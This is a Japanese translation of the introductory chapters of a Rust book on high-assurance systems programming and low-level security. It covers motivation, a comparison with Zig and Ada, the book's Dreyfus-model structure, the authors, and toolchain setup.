あなたが別の国へ移住し、新しい言語を話せるようになることを選んだと想像してみてください。 簡単ではないでしょうが、それだけの価値があるかもしれません。 Rustにおける高保証プログラミングへの私たちの第一歩も同様に、困難ではあるものの、やりがいのあるものになるでしょう。

新しいことを学ぶことの素晴らしさは、誰にでもできるという点にあります。 少しの時間と適切なリソースが必要ですが、十分に長く続ければ、物事が腑に落ち始めます。 本書は、Rustの高い学習曲線をすばやく手なずける手助けをします。そうすることで、私たち全員が共同で信頼できるシステムソフトウェアを構築できるようになります。

学習成果

  • 本書が何を扱い、なぜ扱うのかを理解する
  • 本書が技能習得のドレイファスモデルのどこに位置づけられるかを理解する
  • Rustを書き始められるように開発環境をセットアップする

  1. You Can’t Spell Trust Without Rust。Aria Desires(2015)。Rust標準ライブラリのBTree作者の1人によるこの修士論文は、このボットネットの類推の出典であり、本書全体への影響源でもあります。

  2. ここで「大部分は」としているのは注意書きです。Pythonにもデータ競合はあり得ますし、Goにもセグメンテーションフォールトはあり得ます、などです。しかし、ガベージコレクションを備えた言語は、CやC++と同じ強力な悪用プリミティブを攻撃者に与えるわけではありません(詳細は第4章で述べます)。そのため、同じリスクを伴うわけではありません。

  3. CとC++は、それぞれのかつての姿との共通点と同じくらい、互いの共通点も少ない、と主張するのは正しいでしょう。C++1132はC++2033とはほとんど似ていません。ざっと読む代わりに言うと、公式のC++言語標準は、合計で1,308ページ32から1,823ページ33へと、515ページ、ほぼ40%増加しました。

  4. Embedded System Security with Rust: Case Study of Heartbleed。Jens Getreu(2016)。

  5. Stagefright: Scary Code in the Heart of Android。Joshua Drake(2015)

  6. EternalBlue Exploit: What It Is And How It Works。SentinelOne(2019)。

  7. The Dirty Pipe Vulnerability。Max Kellerman(2022)。

  8. SoK: Eternal War in Memory。Laszlo Szekeres、Mathias Payer、Tao Wei、Dawn Song(2012)。

  9. Trends, challenges, and strategic shifts in the software vulnerability mitigation landscape。Mat Miller(2019)

  10. Episode 53 - C Level, Part I。Sean Haas(2021)。このポッドキャストで説明されているように、Cはアセンブリへコンパイルされる最初の言語ではありませんでした。広く採用されるようになった、そのアイデアの実用的な変種です。

  11. The More You Know, The More You Know You Don’t Know。Maddie Stone、Google Project Zero(2022)。 ↩2

  12. 所有権はまったく新しいものではなく、類似の概念は研究用言語によって先駆的に取り組まれていました。密接に関連する概念であるライフタイムは、C++コミュニティに以前から存在していました34。しかし、Rustの新しい所有権システムは、コンパイル時にライフタイム規則を強制します。C++では、注意しないとライフタイムに関する仮定が実行時に破られる可能性があります。その結果、バグや脆弱性が生じる可能性があります。Rustは、特定のC++のベストプラクティスをコンパイラそのものの中で結晶化したものだと主張する人もいます。

  13. Project Servo, Technology from the past come to save the future from itself。Graydon Hoare(2010)。 ↩2

  14. Hello World!。Ashley Williams(2021)。

  15. Production Users。The Rust Team(アクセス日: 2022年)。

  16. Why AWS loves Rust, and how we’d like to help。Matt Asay、Official AWS Open Source Blog(2020)。

  17. Rust in the Linux kernel。Wedson Almeida Filho、Official Google Security Blog(2021)。

  18. Microsoft: Rust Is the Industry’s ‘Best Chance’ at Safe Systems Programming。Joab Jackson(2020)。

  19. Software Memory Safety。NSA(2022)。

  20. The Urgent Need for Memory Safety in Software Products。Bob Lord、CISA(2023)。

  21. Safer Languages。NIST(2023)。

  22. Zoom RCE from Pwn2Own 2021。Thijs Alkemade、Daan Keupe(2021)。

  23. A05:2021 – Security Misconfiguration。OWASP(2021)。

  24. Apache Log4j Vulnerability Guidance。CISA(2021)。

  25. CVE-2022-1162。National Vulnerability Database(2022)。

  26. curl。Daniel Stenberg(2021)。

  27. Memory Safe ‘curl’ for a More Secure Internet。Internet Security Research Group(2020)。 ↩2

  28. 本稿執筆時点では、Rust対応ビルドのcurlはデフォルト構成ではありません。curlをビルドして配布する人々(たとえばOSディストリビューションのメンテナー)が、サポートするプラットフォームやユーザーに適したビルド構成を選ぶことになります。注目に値する妥当な取り決めです!

  29. Computer Scientist proves safety claims of the programming language Rust。Saarland University(2021)。Rustの形式検証は、現在の成果と継続中の作業の両方を含む研究課題であることに注意してください。

  30. Technology: Most loved, dreaded, and wanted。StackOverflow(2022)。

  31. Methodology: Participants。StackOverflow(2022)。

  32. [最終] ワーキングドラフト、プログラミング言語 C++ 標準。文書番号:N3337 (2012)。文書番号 3337 - 1337 にとても近い!惜しい機会を逃しました。 ↩2

  33. [最終] ワーキングドラフト、プログラミング言語 C++ 標準。文書番号:N4861 (2020)。 ↩2

  34. Lifetime。cppreference.com (2022年閲覧)。

なぜこの本なのか?

Rust の勢いには、いくつもの要因が連なっています。 無料で高品質な学習リソース1が利用できることは、間違いなくその 1 つです。 優れた公式テキストである The Rust Programming Language2 も含まれます。

では、なぜまた別の Rust の本が必要なのでしょうか? 実のところ、本書は 本当の意味では Rust についての本ではありません。ただし、読者がこの言語を学ぶ手助けをすることは主要な目標です。 本書は、根本的に重要でありながら、気後れするほど難しいトピックへの入口です。それは、システムプログラミングと低レベルセキュリティです。

より具体的には、システムに関するトピックとして、組み込みに適したデータ構造と、言語間の相互運用性を扱います。 セキュリティに関するトピックとしては、静的検証、動的なバグ発見、バイナリ悪用を扱います。

これらのトピックを取り上げることが、今後の皆さんの役に立つことを願っています。 あるいは、単に「物事がどのように動いているのかを理解したい」という欲求を満たすだけでもかまいません。

健全な懐疑心についての注記

本書は、技術的に正確で、データに基づき、実用的であることを目指しています。 しかし、本書には意見も含まれています。 ここで示される立場は、著者たちの信念と経験を反映しています。

あらゆる主張、とりわけセキュリティに関する主張は、批判的な視点を通して評価されるべきです。 これは本書に限ったことではなく、一般に当てはまります。 偏りのない情報などというものは存在しません。

健全な懐疑心という姿勢を培い、維持することをお勧めします。 それは、どのようなソフトウェアセキュリティの文脈でも大きな見返りをもたらします。

事実誤認を見つけた場合は、お知らせください

なぜシステムプログラミングについて学ぶのか?

3 人のエンジニアに「システムプログラム」が何をするものか尋ねたら、おそらく 3 つの異なる答えが返ってくるでしょう。 これは、さまざまな業界やユースケースにまたがる幅広い分野です。

  • 「システムプログラムは分散されており、低レイテンシで意思決定を行い、合意プロトコルを介してネットワーク上で協調するものです」と、1 人目のエンジニアは言うかもしれません。

    • 例:分散データベースフォールトトレラントサービス
  • 「違います」と、2 人目は口を挟むかもしれません。「システムプログラムは、ユーザー空間アプリケーションから見たハードウェアの姿を管理し、物理リソースの利用をスケジューリングして促進するものです」。

    • 例:オペレーティングシステムデバイスドライバー
  • 3 人目は不満そうな顔をして、「低消費電力デバイス上でセンサーデータを収集する緊密なフィードバックループはどうでしょうか? それはリソースをまったく共有していません!」と付け加えるかもしれません。

    • 例:マイクロコントローラー制御システム向けのファームウェア。

3 つの答えはすべて正しいものです。 共通する筋(しゃれのつもりです3)は、システムプログラムの目標がハードウェアリソースの制約と結びついているという点です。 それらは低レベルに位置します。 特殊用途のデバイスでは、それが存在する唯一のレベルです。

より一般的には、それはユーザーが直接やり取りする高レベルプログラムの基盤です。 リソースの効率的な利用、つまり性能は重要です。少しの低速化でも増幅され、それに依存するすべての高レベルプログラムに影響を及ぼします。

システムプログラムを素早く見分けるために、次のような質問をすることができます(経験則はすべてそうであるように、これは近似です)。

  • そのプログラムが応答性に優れていると感じる必要があるのはですか?

    • 人間: それはシステムプログラムではありません。人間の時間に制約されています(ミリ秒単位で測られます。これは私たちにとって実感できる最小の単位です)。

    • 別のプログラム: それはシステムプログラムです。マシンの時間に制約されています(CPU サイクル単位で測られます。現代のプロセッサは毎ミリ秒に数百万サイクルを実行します)。

高レベルアプリケーションを書くことにしか関心がないとしても、低レベルアプリケーションについて少し(最後のしゃれです、約束します)理解しておくことは役に立ちます。 自分の下にあるレイヤーとより効果的にやり取りでき、スタック内の自分のレベルにあるボトルネックに対しても、同じ性能志向の考え方を適用できます。それがどのレベルであってもです。

レベル別の言語

Rust プログラミング言語はシステムソフトウェア専用に使われるわけではありませんが、それが強みであることは確かです。 Rust は、スクリプト言語(Python、Ruby、Lua など)やガベージコレクション付き言語(Java、Go、C# など)では動作できないスタックのレベルで実行できます。 常に存在するこれらの低レベルでは、メモリ安全ではないシステム言語(C と C++)が何十年にもわたって独占してきました。


プログラミング言語をソフトウェアスタックの各レベルに対応付ける。

より安全なシステムプログラミングを提供する言語はどれか?

プログラミング言語は、突き詰めれば単なる道具です。 言語の選択は熱のこもった議論を引き起こすかもしれませんが、結局のところ重要なのは、その仕事に最適な道具を選ぶことです。

利用可能な選択肢を認識していなければ、客観的ではいられません。 Rust の旅を始める前に、より安全なシステムプログラミングの代替となる 2 つの選択肢、Zig と Ada について簡単に触れておくべきでしょう。 Rust と同様に、どちらもネイティブにコンパイルされ、ガベージコレクションを使用せず、C 系言語に対する安全性の利点があります。 3 つの言語はいずれも、現代的な低レベルプログラミングに同程度に適しています。 3 つとも、特定の文脈では優れた選択肢です。

詳細な比較の代わりに、ミッション・クリティカルシステムおよびセーフティ・クリティカルシステムの開発における成熟度という観点から、3 つの選択肢を対比してみましょう。 ミッション・クリティカルシステムとは、本番環境で稼働しており、セキュリティや信頼性の障害が事業にとって高くつくものだと仮定します。 また、セーフティ・クリティカルシステムは物理現象を駆動するため、セキュリティや信頼性の障害が人命、財産、または環境を危険にさらす可能性があるものだと仮定します。


より安全なシステムプログラミング言語を、{セーフティ,ミッション}-クリティカルな成熟度で対比する。

* **Zig**(成熟度:低)- 本稿執筆時点で、Zig はまだ安定版 1.0 リリースに到達していません。ツールチェーンにはすでに本番環境のユーザーがいますが[^UberZig]、不安定な言語は一般に、ミッション・クリティカルまたは安全クリティカルな製品には適していません。Zig は Rust のような時間的メモリ安全性の利点は提供しませんが、空間的メモリ安全性については同様のランタイム強制を提供します[^ZigSafety]。そして、独自の強みもあります[^WhyZig]。
  • Rust(成熟度:中)- Rust は 2015 年に 1.0 に到達し、ミッション・クリティカルな本番環境でのユーザーや用途が非常に豊富にあります4。Rust を安全クリティカル領域に持ち込むための現在の取り組みには、Ferrous Systems と AdaCore の協業5、AUTOSAR Working Group6、SAE International Task Force7、そして形式検証ツールに関する継続的な研究開発8が含まれます。本稿執筆時点で、Ferrocene9 Rust ツールチェーンは、自動車(ISO 26262 ASIL-D)および産業(IEC 61508 SiL4)ユースケース向けの認定を完了しつつあります。

  • Ada(成熟度:高)- Ada の 1.0 仕様である MIL-STD-1815-A10 は 1983 年にリリースされました。商用サポートされているコンパイラとランタイムライブラリは、DO-178B/C(航空)、ISO 26262(自動車)、IEC 61508(産業)、ECSS-Q-ST-80C(宇宙)などの規格での使用に対して、すでに認定されています11。Ada のサブセットである SPARK は、成熟した演繹的検証機能を提供します12。SPARK は、Rust の型システムに一部触発され、ヒープメモリ検証において近年進歩を遂げています13

どのプログラミング言語であれ、それを学ぶことは開発者として成長するための素晴らしい方法です。 健全なコミュニティを持つ新しい言語は、時間の経過とともに独自のニッチを見つけ、その革新を洗練させていくかもしれません。 確立された言語は、現時点でより豊富なツールやライブラリエコシステムを提供できます。 利用可能な選択肢が複数あることは、開発者にとっても、最終的には顧客にとっても良いことです。

私たちは、Rust が今日の多くのプロジェクトにとって卓越したツールであり、明日のさらに多くのプロジェクトにとっても有力な選択肢になると信じています。

設計による安全性

Zig、Rust、Ada は、次のうち 1 つ以上に対してさまざまな戦略を採用しています。

  • 安全機能を型システムに直接組み込む(コンパイル時の強制)

  • デフォルトのランタイム安全チェックを無効にするには明示的なオプトアウトを要求する(ランタイム検出)

安全性を言語の中核設計に組み込むことで、欠陥除去を確実にスケールさせやすくなります。 オプトインのベストプラクティスを教育したり、サードパーティのエラーチェッカーを使用したりする場合と比べてです。

その一方で、既存プロジェクトが新しい言語ツールチェーンを学習して採用するコストは高くなる可能性があります。 また、新しいプロジェクトで安全でない言語を選ぶことに妥当な理由がある場合もあります。 ツール選定は、状況に大きく依存する問題です。

なぜデータ構造ライブラリを構築するのか?

ホワイトボードでのコーディング面接が嫌な後味を残したのかもしれません。 大学のデータ構造の授業が、いまひとつ腑に落ちなかったのかもしれません。 あるいは独学だからこそ、このトピックが学術的で、ほとんど関係のないものに感じられるのかもしれません。 結局のところ、ライブラリはすでに書かれています。自分で二分探索木を実装することが一度もなくても、長く実りあるソフトウェアのキャリアを築くことはできます。

しかし、データ構造には特別なものがあります。 データ構造は、計算機科学理論の数学的厳密さと、効率的な実装という実践上の制約を組み合わせます。 それは、抽象と具象が交差する場所で何が可能なのかを垣間見せてくれる、まれな存在です。 いわば、数学というタイヤがコードという路面と接する場所です。

現代のプログラミング言語の標準ライブラリには、データ構造 API、つまり「コレクション」が含まれています。 これらの API は、その言語で書かれたほぼすべてのプログラムで使われます。 1 つのデータ構造実装がこれほど広く使われる可能性があるため、パフォーマンスは極めて重要です。 そのため、現実世界のデータ構造は通常、速度のために Rust や C のようなコンパイル型言語で実装されます。 これには、Python のようなインタプリタ型言語の標準ライブラリに含まれるものも含まれます14

データ構造ライブラリを構築することは、複雑な機能要件の集合を取り、それをコンパクトで正しいコードへ変換することを伴います。 それは、戦略的なレベル(全体のアルゴリズム)と戦術的なレベル(使用している言語における、insertgetremove などの個々の構造操作の仕組み)の両方で、目標を達成する道筋を示してくれます。

一般に応用できる問題解決スキルと、言語固有の開発スキルの両方を学ぶことになります。

コンパイル型 vs. インタプリタ型:

コンパイラ(C の gcc や Rust の rustc など)は、ソースコードをネイティブバイナリ、つまり CPU が直接実行する命令で満たされた実行可能ファイルへ変換します。その結果、特定の CPU 命令セットアーキテクチャ(ISA - 例:x86、ARM、RISC-V など)向けに構築された、非常に高速なプログラムになります。

インタプリタは、ソースコードを一度にひとかたまりずつ実行します。インタプリタプログラムは、構文木をたどることであなたのプログラムを実行します。これは実行が遅くなることを意味しますが、インタプリタ(おそらくそれ自体がネイティブバイナリ)が対応している限り、どの CPU に対しても移植性があります。

実際には、その境界線が常に完全に明確なわけではありません。Python は実際にはソースをバイトコード(インタプリタが理解する命令)へ変換します。これは一種のコンパイルです。

覚えておくべきことはこれだけです。システムソフトウェアは、効率が最優先事項であるため、ネイティブにコンパイルされなければなりません(CPU 命令に変換されなければなりません)!

Rust ではデータ構造は特に難しいのでは?

Rust のメモリ安全性の保証は、システムソフトウェアのセキュリティにおける大きな進化です。 業界での採用が広がり、ライブラリエコシステムが活況を呈している Rust は、システムプログラミングとセキュアコーディングの両方にふさわしい代表格です。

しかし一部のデータ構造は、コンパイラが安全性固有の性質を検査する方法のために、Rust で書くのが悪名高いほど難しい15ことで知られています。 これは、ある要素が別の要素に到達する方法を知っており、その逆も成り立つような構造(たとえば「循環参照」を持つもの)で特に当てはまります。 このためにあまりにも苛立ち、素早く膝を突き上げてキーボードを真っ二つに折り、Rust を完全に諦めてしまう開発者もいます!

だからこそ、あなたは高度なデータ構造から Rust の旅を始めることになります。 それは、Rust の最も難しい概念に正面から取り組むようあなたを押し出します。 厄介なデータ構造の Rust 実装がまだ存在しない場合でも、問題を Rust らしい方法で捉え直し、自分で実装するために必要なスキルを身につけることになります。

その能力こそが、Rust で成功するための足場です。最終的な目標が何であれ。 メモリがどのように機能し、Rust がそれをどのように管理するのかについてメンタルモデルを構築できれば、安全なシステムソフトウェアを出荷する道を順調に進んでいることになります。

セキュリティ以外では、なぜ Rust なのか?

Rust はパフォーマンスを最大化できるからです。

ムーアの法則16は限界に達し、物理法則は命令スループットとクロック速度に上限を設けました。 ボトルネックが実際にプログラムの CPU 時間である(たとえばネットワークレイテンシやディスク I/O の制限ではない)と仮定すると、パフォーマンスを改善する方法は通常 2 つあります。

  1. 問題に対して、より優れたアルゴリズムが存在するなら、それを実装する。
  2. 遅い処理を複数のコアに並列化する。 Rust のメモリ推論は、[多くの場合より現実的な] 後者の選択肢に役立ちます。コンパイラが信頼性の高い並行性を保証してくれるからです。 これは、アルゴリズムのロジックを自動的に並列化するという意味ではありません(それは依然として難題です)。また、すべての競合状態を防ぐという意味でもありません(たとえば、コンパイラはデッドロックについて推論できません)。

しかし、すべての「データ競合」(起こり得る競合状態の重要なサブセット)から解放されることは意味します。 それらは、「タイミング」(組合せ的なスレッドのインターリーブ)に関する前提の微妙な誤りによって引き起こされる、一見ランダムな状態破壊です。

並行プログラミングは、従来、正しく行うのが非常に困難でした。 性能上の利点を得るには、問題を捉え直すことと、予測不能な挙動をデバッグすることの両方が必要でした。 Rust は、より高い決定性を可能にすることで、そのデバッグの大部分を取り除きます。 この言語は、メモリ安全性の問題を解決すると同時に、並行性の問題を緩和します。

でも、これらは本当に自分のためのものなのか?

楽しめるなら、もちろんです!

システムプログラミングと低レベルセキュリティは気後れするようなトピックなので、特定の種類の人だけのものだと思うかもしれません。 従来は、実際そうでした。 現実的には、障壁はまだ存在します。

あなたの経歴や経験によっては、自分がシステムセキュリティの世界の一員である姿を思い描くのは難しいかもしれません。 しかし、あなたには確かにそれができます! それは簡単ではないかもしれません——しかし、可能です。


  1. Rust を学ぶ。The Rust Team(2021)。

  2. The Rust Programming Language。Steve Klabnik、Carol Nichol(2022 年アクセス)。

  3. プロセスとスレッド。OSDev Wiki(2021)。

  4. 本番環境のユーザー。The Rust Team(2022 年アクセス)。

  5. Ferrous Systems と AdaCore が Ferrocene で協力へ。Ferrous Systems(2022)。

  6. AUTOSAR が Automotive Software の文脈におけるプログラミング言語 Rust の新しい Working Group を発表。AUTOSAR(2022)。

  7. SAfEr Rust Task Force。SAE International(2022 年アクセス)。

  8. Rust 検証ツール。Rust Formal Methods Interest Group(2021)。

  9. ferrocene。Ferrous Systems(2023)。

  10. 1978 年、米国国防総省(DoD)は、安全性が重要な組込みシステムに特化したプログラミング言語の要件リストを提示しました。その後、DoD は競技会(より現代的な DARPA の「Grand Challenges」とよく似たもの)を支援しました。赤、緑、青、黄の 4 つの言語設計チームが競い合いました。緑チームが勝利し、MIL-STD-1815-A 言語仕様を作成しました。彼らの言語は、先駆的なプログラマーである Ada Lovelace にちなんで「Ada」と名付けられました。1815 は Lovelace の生年でした。

  11. Ada ランタイムライブラリおよびコンパイラの認証エビデンス。AdaCore(2022 年アクセス)。

  12. SPARK について。AdaCore(2022 年アクセス)。

  13. Ada と SPARK における安全な動的メモリ管理。Maroua Maalej、Tucker Taft、Yannick Moy(2021)。

  14. dictobject.c。CPython Interpreter(2021)。

  15. ムーアの法則。Wikipedia(2022 年アクセス)。

本書はどのように構成されているか?

結論から言うと、本書は大規模なプロジェクトを段階的な足場かけに沿って進めることで、専門性を身につける助けになります。 そのため、大半の読者にとっては、本書全体を順番に読むのが最善です。

しかし現実的には、誰もが教科書を最初から最後まで読む時間や気力を持っているわけではありません。 また、一部の読者はすでに特定のトピックに精通しています。 そこで、5種類の読者(いずれもすでに経験豊富なプログラマー)に対応するため、以下の内訳を用意しました。

読者推奨される使い方
非常に忙しい人:
時間がなく、すぐに価値を得る必要があり、本を丸ごと読むことはできない。
第1章から第4章まで取り組んでください。いつか戻ってきてもよいでしょう。
事前経験がない人:
Rust/システム/セキュリティが初めて。
第1章から第15章、および言及が出てきたときに付録「基礎」に取り組んでください(つまり本書全体)。
セキュリティ担当者:
システムセキュリティのバックグラウンドはあるが、Rust は初めて。
第1章、第3章、第5章から第15章まで取り組んでください。必要に応じて付録を参照してください。
セキュリティ Rustacean:
システムセキュリティのバックグラウンドがあり、以前に別の Rust の本を読んだことがある。
第1章、第6章、第7章、第9章から第15章まで取り組んでください。必要に応じて付録を参照してください。
上級セキュリティ Rustacean:
システム/セキュリティ/Rust についてすでに非常に詳しく、上級トピックのリファレンスを探している。
第11章、第12章、第14章、第15章。

推進モデル

本書では幅広い範囲を扱います。 そもそも「保証」とは何を意味するのかから、最先端技術の限界まで。 それらを貫く統一的な筋道は、段階的な集大成プロジェクト、つまり高度なライブラリを構築することです。

その筋道は、古典的な軸に巻きついています。それが、スキル習得のドレイファスモデル1です。 この発達モデルは、正式な教育と実践的な練習がスキル開発においてどのように絡み合うかを説明します。 これはもともと、米空軍の研究イニシアチブの一環として資金提供を受け、1980年に UC Berkeley で開発され、現在でも妥当性を保っています。

ドレイファスの考えの核心は、複雑なタスクを意図的に上達させようとする人は誰でも、5つの明確な段階、すなわち Novice、Advanced Beginner、Competent、Proficient、Expert を通過できるというものです。

学習者の熟練度が高まるにつれて、抽象的な原則から得るものは少なくなり、具体的な経験から得るものが多くなります。 その結果、認知的注意(例: 負荷の高い集中)から自動処理(例: 「第二の天性」)へと移行します。

本書の内容は、5段階のうち最初の3段階を反映するようにおおまかに構成されています。 更新された(2004年頃の)定義2を使用しています。 各段階を説明し、関連する章を概観しましょう。

ドレイファスモデルの段階別の章



段階1 - Novice: システムセキュリティ

Novice は、ルール、すなわち特定の状況にかかわらず適用される「全体像」の原則を学び、手順に従います。

Novice 段階の章では、中心となる概念、定義、言語構文に焦点を当てます。

  • 第2章 - ソフトウェア保証: セキュアで堅牢なソフトウェアを開発するためのツールとプロセスの全体像を理解します。最初の Rust プログラムを書きます!

  • 第3章 - Rust ゼロ速習コース: Rust の機能と構文を巡り、借用チェッカーと調和して生き、コードを整理します。セキュリティと信頼性に関する業界のベストプラクティスガイドラインの文脈で扱います。さらに、プロフェッショナルなソフトウェアプロジェクトを維持するためのツール群のサンプルも示します。

  • 第4章 - メモリを理解する: プログラムを「制御」するため、メモリ安全でないプログラムを悪用するため、そして Rust のメモリ安全性保証を機械的なレベルで本当に理解するために、メモリについて知っておくべきことを扱います。

段階2 - Advanced Beginner: コアプロジェクト

Novice とは異なり、Advanced Beginner は繰り返し現れるパターンを認識し始めます。 彼らは「格率」(緩やかで状況依存のルール)を見つけ、経験を積むことで自分独自の創造的な戦略を適用します。

Advanced Beginner 段階の章では、ライブラリのコア実装を開始します。 焦点は、これまで学んだ保証の概念を、自明でないコードに対応づけることです。

  • 第5章 - 二分探索木(BST)の基礎: 基本的な探索アルゴリズムとソートアルゴリズム、木データ構造がその両方をどのように可能にするか、そしてこれらのアルゴリズムを Rust に移植する際の課題を扱います。

  • 第6章 - アリーナアロケーターの構築: メモリ管理を制御することで、一般的なアルゴリズムを慣用的で安全な Rust コードに変換します。

  • 第7章 - 自己平衡 BST: メモリ効率の高い自己平衡二分探索木を構築するため、高度なアルゴリズムを実装します。

  • 第8章 - デジタルツインテスト: システム全体のエミュレーションと組み込みセミホスティングの入門です。リモートコマンドを受け取る小さな仮想マイクロコントローラー上で、私たちのライブラリを実行します!

  • 第9章 - マップとセットの構築: 素朴な木を、Rust 標準ライブラリのコレクションに対する、おおむね API 互換の差し替え可能な代替に変換します。

  • 第10章 - イテレーターの実装: Rust の中核的な抽象化の1つである安全なイテレーターをサポートすることで、ライブラリの有用性を大幅に高めます。

段階3 - Competent: 検証とデプロイ

Competent な学習者は、自分が何を知らないのかを認識できるほどニュアンスのある理解を発達させます。 それに対処するため、Competent な学習者は自己専門化を始めます。 彼らは、スキル領域のどの要素が自分の長期的なニーズにより役立つのか、そしてどの要素を優先度を下げるか、あるいは無視できるのかを判断します。

Competent 段階の章では、蓄積した教訓を実世界のプロジェクトに適用する準備をします。 セキュリティテストと機能検証のために高度なツールを使用する方法を学びます。 また、別の言語で書かれたより大きなソフトウェアプロジェクトの中に Rust コードを統合する方法も学びます。

  • 第11章 - 静的検証: 演繹的検証(コンパイル時に定理証明器によって証明される仕様注釈)を使用して、コアコードが機能的に正しいことを示します。また、網羅性のために、unsafe コードのモデル検査も扱います。

  • 第12章 - 動的テスト: 本番レベルおよび実験的なツールの両方を使用して、ライブラリとそのすべての依存関係にストレステストを実施します。ベンチマークと最適化も扱います。

  • 第13章 - 運用デプロイ: ライブラリに CFFI バインディングを追加することで、現実世界の多言語プロジェクトにおける Rust の利点を引き出します。unsafe の徹底的な探究も行います(私たちのライブラリでは使用していませんが、多くのプロジェクトでは使用されています)。

  • 第14章 - 保証の最大化: 一歩引いて Rust をより広い文脈で評価し、制限、ベストプラクティス、最先端の研究を見ていきます。

ステージ4と5(熟達者とエキスパート)はどうでしょうか?

熟達者のステージでは、学習者は概念、規則、スキルから目標へと移行します。 経験を身につけた彼らは、新しい状況において適切な目標を判断できます。たとえそれを達成する能力を常に持っているとは限らなくてもです。

エキスパートは、目標を判断し、それを効率的な手段で達成できます。 彼らは最先端をさらに進め、次世代の初心者のための新しい規則を作り出すことさえあります。

1冊の本を読むだけで、あなたがエキスパートになるわけではありません。 それは、キャリアを通じて現実世界の戦場で苦労して勝ち取る称号です。

とはいえ、最後の章はあなたへの餞別です。

  • 第15章 - レビュー: 本書全体を密度の高いノート群へと凝縮したものです。理解を定着させるためにも、将来のクイックリファレンスとしても使えます。

熟達を経てエキスパートの地位へ向かう道は、舗装されていません。 進路を描くのはあなた次第です。 この本がその始まりとなることを願っています。


  1. 指示されたスキル習得に関与する精神活動の5段階モデル。Stuart E.Dreyfus, Hubert L. Dreyfus (1980)。

  2. 成人のスキル習得の5段階モデル。Stuart E.Dreyfus (2004)。元の論文とこの改訂版の両方について、提案された分類を正当化するために経験的・実験的データを用いていないとの批判があることに注意してください。

ハンズオン学習

ソフトウェア開発者もセキュリティエンジニアも、何よりまず実務家であり、理論家であるのはその次です。 基礎概念や状況に応じた文脈を理解することは、確かに重要です。 しかし結局のところ、あなたはコードを書き、実行します。 そして、そのコードが実行されている間に、他の誰かがそれを悪用しようとするかもしれません。

前述の Dreyfus Model は、正式な指導とハンズオンでの実践の両方を包含しています1。 陳腐な表現かもしれませんが、習うより慣れろです。 あるいは、慣れることでエキスパートになる、と言うべきでしょう。 概念を理解するために本をざっと読むだけで学べることには限界があります。

Dreyfus の各段階を進んでいくには、コードを書き、実行し、デバッグする必要があります。 これは、各章で提示される例に沿って進めること、そしてより重要なのは、この本を出発点として、自分で選んだ現実世界のプロジェクトに取り組むことを意味します。

ここでの私たちの目標は、概念と転用可能なスキルを教え、現実世界での経験が現実的な可能性となるレベルまで到達してもらうことです。 言語学習の側面では、それは次のことに自信を持って取り組めるようになる時点です。

  • Rust で書かれた既存のオープンソースプロジェクトにコントリビュートする。
  • 自分で設計した Rust ライブラリを公開する。
  • 職場の新しい取り組みに Rust を取り入れる。
  • など。

章末チャレンジ

各章の最後には、任意のチャレンジがあります。 これらのチャレンジは、中程度から高い複雑さの機能を設計し、実際にコードとして実装することの両方を必要とする、自由度の高い問題です。

この本以外のリソースを見つけ、新しい文脈でその章の概念を適用し、自分なりの戦略を立てながら、解決策の空間を独力で探求する必要があります。

チャレンジの解答は提供されません。提案された問題に取り組むかどうかは、あなた次第です! あるいは、あなたの意欲を高める個人的なバリエーションに取り組んでもかまいません。


  1. 成人の技能習得の五段階モデル. Stuart E.Dreyfus (2004).

チームについて

コアチーム

Tiemoko Ballo、著者 (tiemoko.com)

Tiemoko はシニアサイバーセキュリティ研究者です。 彼の経験は、米国国防総省の研究所における高度なツール開発、査読付き学術会議での発表、Fortune 100 企業でのインシデント対応に及びます。 カーネギーメロン大学で情報セキュリティの修士号を取得しています。

Moumine Ballo、技術編集者 (LinkedIn)

Moumine はシニアスタッフソフトウェアエンジニアです。 最先端のモバイル GPU に携わり、リソースに制約のあるコンソール向け AAA ゲームと自律走行車シミュレーションの両方でグラフィックスエンジンを作成してきました。 ワルシャワ工科大学でコンピューターサイエンスの博士号を取得しています。

Alex James、技術編集者 (buildbreak.net)

Alex はセキュリティソフトウェアエンジニアです。 Web スケールのセキュアアーキテクチャとクラウドインフラストラクチャに携わり、1日あたり 3 億人を超えるアクティブユーザーにサービスを提供する分散セキュリティシステムを設計・実装しています。 カーネギーメロン大学で情報セキュリティの修士号を取得しています。

コミュニティ貢献者

この本をより良くしてくれているすべての人に心から感謝します1! アルファベット順で掲載しています。



  1. 貢献は歓迎され、感謝されます。詳しくは CONTRIBUTING.md を参照してください。

ウォームアップ: 環境セットアップ

警告: 本書のコンテナは現在機能していません。後日修正し、CI に追加する予定です。ローカルインストールなど、別の方法でツールチェーンをセットアップしてください。

通常の章末チャレンジの代わりに、ウォームアップを行いましょう: Rust ツールチェーンのセットアップです。 Rust プログラムを書き、コンパイルするために必要なものです。 これをあなたのブートストラップシーケンスだと考えてください!

本書は Linux ホスト上で開発されています。 各章を通じて、再入力(またはコピー/ペースト、右側のボタンに注目してください)して実行できるコマンドが登場します。 次のようなコードブロックリスティング形式です:

whoami

これらのコマンドは、一般的な Linux ディストリビューションを使用していることを前提としています。 一緒に進めるには、2 つの選択肢があります:

  1. Linux ネイティブ: ホスト上に、紹介される各ツールを現在の公式ドキュメント(ここではすべてのインストール手順を重複して説明することはしません)またはディストリビューションのパッケージマネージャーを使用してインストールします。ほとんどのツールはセットアップが簡単で、多くの場合 1 つか 2 つのコマンドで済みます。

  2. Docker コンテナ: Linux 以外のプラットフォームを使用している場合は、Docker1(広く使われているコンテナ化ツール)をインストールし、本書で提供されている Dockerfile2 を使って自己完結型の開発環境を構築します。

注: コンテナの現在の状態

本書のコンテナサポートは現在作業中です。 将来的には、コンテナは自動的にテストされ、その利用方法に関する詳細な手順が付録に追加される予定です。

現在は、本書のリポジトリ内にシンプルな Dockerfile を提供しています2

どちらの方法を選ぶにしても、ツールチェーンが動作していることを確認する必要があります。

ツールチェーンを試す

rustup は Rust ツールチェーンの公式インストーラー兼アップデートマネージャーです。 ほかにも、Rust の以下をまとめて提供します:

  • コンパイラ (rustc)
  • パッケージマネージャー (cargo)
  • 標準ライブラリ (std)

rustup は、stable、beta、nightly という 3 つの「チャネル」からツールチェーンコンポーネントを選択できます。 違いについては第 3 章で扱います。 また、他のプラットフォーム向けにクロスコンパイルするためのコンポーネントを追加することもできます。 第 8 章では、エミュレートされた ARM Cortex-M マイクロコントローラー向けにコンパイルします。

コンテナを使用しない場合は、こちらの手順に従って rustup をインストールできます:

インストールを確認するには、次のコマンドを実行します:

rustup --version

Rust プログラムをコンパイルして実行できることを確認しましょう。 hello_world という名前の新しいプロジェクトを作成するには:

cargo new --bin hello_world

